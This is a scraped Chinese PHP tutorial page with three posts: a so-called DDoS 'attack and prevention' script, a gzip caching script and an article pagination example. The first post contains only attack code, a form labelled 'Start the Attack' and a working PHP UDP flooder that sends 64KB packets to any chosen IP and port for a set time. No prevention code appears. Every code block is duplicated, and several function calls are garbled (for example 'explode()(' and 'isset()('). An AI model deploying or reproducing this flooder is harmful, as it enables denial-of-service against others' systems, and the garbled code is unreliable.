当前位置: 编程技术>php
本页文章导读:
▪php下ddos攻击与防范代码 php下ddos攻击与防范代码,有需要的朋友可以参考下。
文件:index.php
代码如下:
<?php
$ip = $_SERVER['REMOTE_ADDR'];
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/ht.........
▪一个php网站缓存代码分享 一个php网站缓存代码分享,有需要的朋友可以参考下。
代码如下:
<?php
/**
* @author Seraphim
* @copyright 2012
* @link http://www.
*/
// <!-- 公共的返回header的子程序 -->
function sendheader($l.........
▪php文本文章分页代码示例 代码如下:
<?php
/**
* **********************************************************
* Read Me
* 文章分页
*
* 分页方式,可以按字数分页,按换行分页,按特殊标记分页等
* 其实实现思路是一样的,只.........
[1]php下ddos攻击与防范代码
来源: 互联网 发布时间: 2013-12-24
php下ddos攻击与防范代码,有需要的朋友可以参考下。
文件:index.php
代码如下:
<?php
$ip = $_SERVER['REMOTE_ADDR'];
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="author" content="">
<title>PHP DoS, Coded by EXE</title>
</head>
<!-- PHP DOS, coded by EXE -->
<style type="text/css">
<!--
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #FFFFFF;
background-color: #000000;
}
-->
</style>
<!-- PHP DOS, coded by EXE -->
<body>
<center><br><br>
<img src="/blog_article/main.jpg"><br>
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br>
<form name="input" action="/blog_article/function.html" method="post">
IP:
<input type="text" name="ip" size="15" maxlength="15" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
Time:
<input type="text" name="time" size="14" maxlength="20" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
Port:
<input type="text" name="port" size="5" maxlength="5" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">
<br><br>
<input type="submit" value=" Start the Attack---> ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>
</form>
</center>
<!-- PHP DOS, coded by EXE -->
</body>
</html>
$ip = $_SERVER['REMOTE_ADDR'];
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="author" content="">
<title>PHP DoS, Coded by EXE</title>
</head>
<!-- PHP DOS, coded by EXE -->
<style type="text/css">
<!--
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #FFFFFF;
background-color: #000000;
}
-->
</style>
<!-- PHP DOS, coded by EXE -->
<body>
<center><br><br>
<img src="/blog_article/main.jpg"><br>
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br>
<form name="input" action="/blog_article/function.html" method="post">
IP:
<input type="text" name="ip" size="15" maxlength="15" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
Time:
<input type="text" name="time" size="14" maxlength="20" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
Port:
<input type="text" name="port" size="5" maxlength="5" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">
<br><br>
<input type="submit" value=" Start the Attack---> ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>
</form>
</center>
<!-- PHP DOS, coded by EXE -->
</body>
</html>
文件:function.php
代码如下:
<?php
//=========================================
//PHP DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by EXE
//@link http://www.
//=========================================
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
//=========================================
//PHP DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by EXE
//@link http://www.
//=========================================
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
[2]一个php网站缓存代码分享
来源: 互联网 发布时间: 2013-12-24
一个php网站缓存代码分享,有需要的朋友可以参考下。
代码如下:
<?php
/**
* @author Seraphim
* @copyright 2012
* @link http://www.
*/
// <!-- 公共的返回header的子程序 -->
function sendheader($last_modified, $p_type, $content_length = 0)
{
// 设置客户端缓存有效时间
header("Expires: " . gmdate("D, d M Y H:i:s", time() + 15360000) . "GMT");
header("Cache-Control: max-age=315360000");
header("Pragma: ");
// 设置最后修改时间
header("Last-Modified: " . $last_modified);
// 设置文件类型信息
header($p_type);
header("Content-Length: " . $content_length);
}
define('ABSPATH', dirname(__file__) . '/');
$cache = true;
$cachedir = 'cache/'; //存放gz文件的目录,确保可写
if (empty($_SERVER['QUERY_STRING']))
exit();
$gzip = strstr($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip');
if (empty($gzip))
$cache = false;
$key = array_shift(explode()('?', $_SERVER['QUERY_STRING']));
$key = str_replace()('../', '', $key);
$filename = ABSPATH . $key;
$symbol = '_';
$rel_path = str_replace(ABSPATH, '', dirname($filename));
$namespace = str_replace('/', $symbol, $rel_path);
$cache_filename = ABSPATH . $cachedir . $namespace . $symbol . basename($filename) .
'.gz'; //生成gz文件路径
$ext = array_pop(explode('.', $filename)); //根据后缀判断文件类型信息
$type = "Content-type: text/html"; //默认的文件类型
switch ($ext)
{
case 'css':
$type = "Content-type: text/css";
break;
case 'js':
$type = "Content-type: text/javascript";
break;
case 'gif':
$cache = false;
$type = "Content-type: image/gif";
break;
case 'jpg':
$cache = false;
$type = "Content-type: image/jpeg";
break;
case 'png':
$cache = false;
$type = "Content-type: image/png";
break;
default:
exit();
}
if ($cache)
{
if (file_exists($cache_filename))
{ // 假如存在gz文件
$mtime = filemtime($cache_filename);
$gmt_mtime = gmdate('D, d M Y H:i:s', $mtime) . ' GMT';
if ((isset()($_SERVER['HTTP_IF_MODIFIED_SINCE']) && array_shift(explode(';', $_SERVER['HTTP_IF_MODIFIED_SINCE'])) ==
$gmt_mtime))
{
// 与浏览器cache中的文件修改日期一致,返回304
header("HTTP/1.1 304 Not Modified");
// 发送客户端header
header("Content-Encoding :gzip");
sendheader($gmt_mtime, $type);
}
else
{
// 读取gz文件输出
$content = file_get_contents($cache_filename);
// 发送客户端header
sendheader($gmt_mtime, $type, strlen($content));
header("Content-Encoding: gzip");
// 发送数据
echo $content;
}
}
else
if (file_exists($filename))
{ // 没有对应的gz文件
$mtime = mktime();
$gmt_mtime = gmdate('D, d M Y H:i:s', $mtime) . ' GMT';
// 读取文件
$content = file_get_contents($filename);
// 去掉空白的部分
// $content = ltrim($content);
// 压缩文件内容
$content = gzencode($content, 9, $gzip ? FORCE_GZIP : FORCE_DEFLATE);
// 发送客户端header
sendheader($gmt_mtime, $type, strlen($content));
header("Content-Encoding: gzip");
// 发送数据
echo $content;
// 写入文件
file_put_contents($cache_filename, $content);
}
else
{
header("HTTP/1.0 404 Not Found");
}
}
else
{ // 处理不使用Gzip模式下的输出。原理基本同上
if (file_exists($filename))
{
$mtime = filemtime($filename);
$gmt_mtime = gmdate('D, d M Y H:i:s', $mtime) . ' GMT';
if ((isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) && array_shift(explode(';', $_SERVER['HTTP_IF_MODIFIED_SINCE'])) ==
$gmt_mtime))
{
// 与浏览器cache中的文件修改日期一致,返回304
header("HTTP/1.1 304 Not Modified");
// 发送客户端header
sendheader($gmt_mtime, $type, strlen($content));
header("Content-Encoding :gzip");
}
else
{
// 读取文件输出
$content = file_get_contents($filename);
// 发送客户端header
sendheader($gmt_mtime, $type, strlen($content));
// 发送数据
echo $content;
}
}
else
{
header("HTTP/1.0 404 Not Found");
}
}
?>
/**
* @author Seraphim
* @copyright 2012
* @link http://www.
*/
// <!-- 公共的返回header的子程序 -->
function sendheader($last_modified, $p_type, $content_length = 0)
{
// 设置客户端缓存有效时间
header("Expires: " . gmdate("D, d M Y H:i:s", time() + 15360000) . "GMT");
header("Cache-Control: max-age=315360000");
header("Pragma: ");
// 设置最后修改时间
header("Last-Modified: " . $last_modified);
// 设置文件类型信息
header($p_type);
header("Content-Length: " . $content_length);
}
define('ABSPATH', dirname(__file__) . '/');
$cache = true;
$cachedir = 'cache/'; //存放gz文件的目录,确保可写
if (empty($_SERVER['QUERY_STRING']))
exit();
$gzip = strstr($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip');
if (empty($gzip))
$cache = false;
$key = array_shift(explode()('?', $_SERVER['QUERY_STRING']));
$key = str_replace()('../', '', $key);
$filename = ABSPATH . $key;
$symbol = '_';
$rel_path = str_replace(ABSPATH, '', dirname($filename));
$namespace = str_replace('/', $symbol, $rel_path);
$cache_filename = ABSPATH . $cachedir . $namespace . $symbol . basename($filename) .
'.gz'; //生成gz文件路径
$ext = array_pop(explode('.', $filename)); //根据后缀判断文件类型信息
$type = "Content-type: text/html"; //默认的文件类型
switch ($ext)
{
case 'css':
$type = "Content-type: text/css";
break;
case 'js':
$type = "Content-type: text/javascript";
break;
case 'gif':
$cache = false;
$type = "Content-type: image/gif";
break;
case 'jpg':
$cache = false;
$type = "Content-type: image/jpeg";
break;
case 'png':
$cache = false;
$type = "Content-type: image/png";
break;
default:
exit();
}
if ($cache)
{
if (file_exists($cache_filename))
{ // 假如存在gz文件
$mtime = filemtime($cache_filename);
$gmt_mtime = gmdate('D, d M Y H:i:s', $mtime) . ' GMT';
if ((isset()($_SERVER['HTTP_IF_MODIFIED_SINCE']) && array_shift(explode(';', $_SERVER['HTTP_IF_MODIFIED_SINCE'])) ==
$gmt_mtime))
{
// 与浏览器cache中的文件修改日期一致,返回304
header("HTTP/1.1 304 Not Modified");
// 发送客户端header
header("Content-Encoding :gzip");
sendheader($gmt_mtime, $type);
}
else
{
// 读取gz文件输出
$content = file_get_contents($cache_filename);
// 发送客户端header
sendheader($gmt_mtime, $type, strlen($content));
header("Content-Encoding: gzip");
// 发送数据
echo $content;
}
}
else
if (file_exists($filename))
{ // 没有对应的gz文件
$mtime = mktime();
$gmt_mtime = gmdate('D, d M Y H:i:s', $mtime) . ' GMT';
// 读取文件
$content = file_get_contents($filename);
// 去掉空白的部分
// $content = ltrim($content);
// 压缩文件内容
$content = gzencode($content, 9, $gzip ? FORCE_GZIP : FORCE_DEFLATE);
// 发送客户端header
sendheader($gmt_mtime, $type, strlen($content));
header("Content-Encoding: gzip");
// 发送数据
echo $content;
// 写入文件
file_put_contents($cache_filename, $content);
}
else
{
header("HTTP/1.0 404 Not Found");
}
}
else
{ // 处理不使用Gzip模式下的输出。原理基本同上
if (file_exists($filename))
{
$mtime = filemtime($filename);
$gmt_mtime = gmdate('D, d M Y H:i:s', $mtime) . ' GMT';
if ((isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) && array_shift(explode(';', $_SERVER['HTTP_IF_MODIFIED_SINCE'])) ==
$gmt_mtime))
{
// 与浏览器cache中的文件修改日期一致,返回304
header("HTTP/1.1 304 Not Modified");
// 发送客户端header
sendheader($gmt_mtime, $type, strlen($content));
header("Content-Encoding :gzip");
}
else
{
// 读取文件输出
$content = file_get_contents($filename);
// 发送客户端header
sendheader($gmt_mtime, $type, strlen($content));
// 发送数据
echo $content;
}
}
else
{
header("HTTP/1.0 404 Not Found");
}
}
?>
附--------------
说明:
1,在服务器缓存了压缩过的文件,再次访问减少再压缩时间,降低CPU占用率。
2,通过设置客户端文件缓存时间,降低再次请求次数,可降低85%以上。
3,图片因为已经是压缩格式,只是设置客户端缓存时间,不做压缩处理。
使用方法:
1,服务器必须支持gzip,Rewrite功能。
2,在.htacess文件的“RewriteBase /”下面一行添加下面的代码:
RewriteRule (.*.css$|.*.js$|.*.jpg$|.*.gif$|.*.png$) gzip.php?$1 [L]
3,上传gzip.php到根目录
4,在根目录建cache文件夹,保证可读写。
[3]php文本文章分页代码示例
来源: 互联网 发布时间: 2013-12-24
代码如下:
<?php
/**
* **********************************************************
* Read Me
* 文章分页
*
* 分页方式,可以按字数分页,按换行分页,按特殊标记分页等
* 其实实现思路是一样的,只是将其按一定规律放入一个数组
* 然后根据 url 传入的参数取得某个片段即可
*
*
* filename: page.php
* charset: UTF-8
* create date: 2012-5-16
* **********************************************************
* @author itbdw <itbudaoweng@gmail.com>
* @copyright (C) 2011-2012 itbdw
* @link http://weibo.com/itbudaoweng
* @url http://www.
*/
header('Content-Type:text/html; charset=utf-8');
?>
<?php
$title = 'Pagination Test';
//需要分页的数据
$data = <<<DATA
Hey, guys. I am here to test if it is working.
This pagination is very simple, isn't it?<!--pagination-->
And I tried to use different method to page it.
Can you see it?
DATA;
//当前文章页
$page = 0;
//初始文章长度
$length = 0;
//分页长度
$perpage = 160;
//显示在页面的代码
$link = '';
//分割后的数组
$strArr = array();
$page = isset()($_GET['page']) ? intval($_GET['page']) : 0;
$length = strlen($data);
//按字数分割
// $str = str_split($data, $perpage);
//按字符分割
$delimiter = "\n";
// $delimiter = '<--pagination-->';
$strArr = explode()($delimiter, $data);
$strNum = count($strArr);
$content = $strArr[$page];
if ($strNum > 1) {
if ($page != 0) {
$link .= '<a href="/blog_article/page/0.html">首页</a>';
} else {
$link .= '<span>首页</span>';
}
for ($n = 0; $n < $strNum; $n++) {
if ($n == $page) {
$link .= '<span>' . ($n + 1) . '</span>';
} else {
$link .= "<a href='/blog_article/page/{$n}.html'>" . ($n + 1) . "</a>";
}
}
$link .= '';
if ($page != ($strNum - 1)) {
$link .= "<a href='/blog_article/page/.html" . ($strNum - 1) . "'>尾页</a>";
} else {
$link .= '<span>尾页</span>';
}
}
?>
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<style type="text/css">
body {
font-family: '微软雅黑';
}
.link a, span {
margin: 1px;
padding: 1px;
}
.link span {
color: #777;
}
.link a {
color: #26A2DA;
text-decoration: none;
}
</style>
<title>测试文章分页</title>
</head>
<body>
<h1><?php echo $title; ?></h1>
<p><?php echo $content; ?></p>
<hr />
<p ><?php echo $link; ?></p>
</body>
</html>
/**
* **********************************************************
* Read Me
* 文章分页
*
* 分页方式,可以按字数分页,按换行分页,按特殊标记分页等
* 其实实现思路是一样的,只是将其按一定规律放入一个数组
* 然后根据 url 传入的参数取得某个片段即可
*
*
* filename: page.php
* charset: UTF-8
* create date: 2012-5-16
* **********************************************************
* @author itbdw <itbudaoweng@gmail.com>
* @copyright (C) 2011-2012 itbdw
* @link http://weibo.com/itbudaoweng
* @url http://www.
*/
header('Content-Type:text/html; charset=utf-8');
?>
<?php
$title = 'Pagination Test';
//需要分页的数据
$data = <<<DATA
Hey, guys. I am here to test if it is working.
This pagination is very simple, isn't it?<!--pagination-->
And I tried to use different method to page it.
Can you see it?
DATA;
//当前文章页
$page = 0;
//初始文章长度
$length = 0;
//分页长度
$perpage = 160;
//显示在页面的代码
$link = '';
//分割后的数组
$strArr = array();
$page = isset()($_GET['page']) ? intval($_GET['page']) : 0;
$length = strlen($data);
//按字数分割
// $str = str_split($data, $perpage);
//按字符分割
$delimiter = "\n";
// $delimiter = '<--pagination-->';
$strArr = explode()($delimiter, $data);
$strNum = count($strArr);
$content = $strArr[$page];
if ($strNum > 1) {
if ($page != 0) {
$link .= '<a href="/blog_article/page/0.html">首页</a>';
} else {
$link .= '<span>首页</span>';
}
for ($n = 0; $n < $strNum; $n++) {
if ($n == $page) {
$link .= '<span>' . ($n + 1) . '</span>';
} else {
$link .= "<a href='/blog_article/page/{$n}.html'>" . ($n + 1) . "</a>";
}
}
$link .= '';
if ($page != ($strNum - 1)) {
$link .= "<a href='/blog_article/page/.html" . ($strNum - 1) . "'>尾页</a>";
} else {
$link .= '<span>尾页</span>';
}
}
?>
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<style type="text/css">
body {
font-family: '微软雅黑';
}
.link a, span {
margin: 1px;
padding: 1px;
}
.link span {
color: #777;
}
.link a {
color: #26A2DA;
text-decoration: none;
}
</style>
<title>测试文章分页</title>
</head>
<body>
<h1><?php echo $title; ?></h1>
<p><?php echo $content; ?></p>
<hr />
<p ><?php echo $link; ?></p>
</body>
</html>
您可能感兴趣的文章:
php长文章分页的实现代码
php 文章分页的实现代码
php实现长文章分页显示的代码
最新技术文章: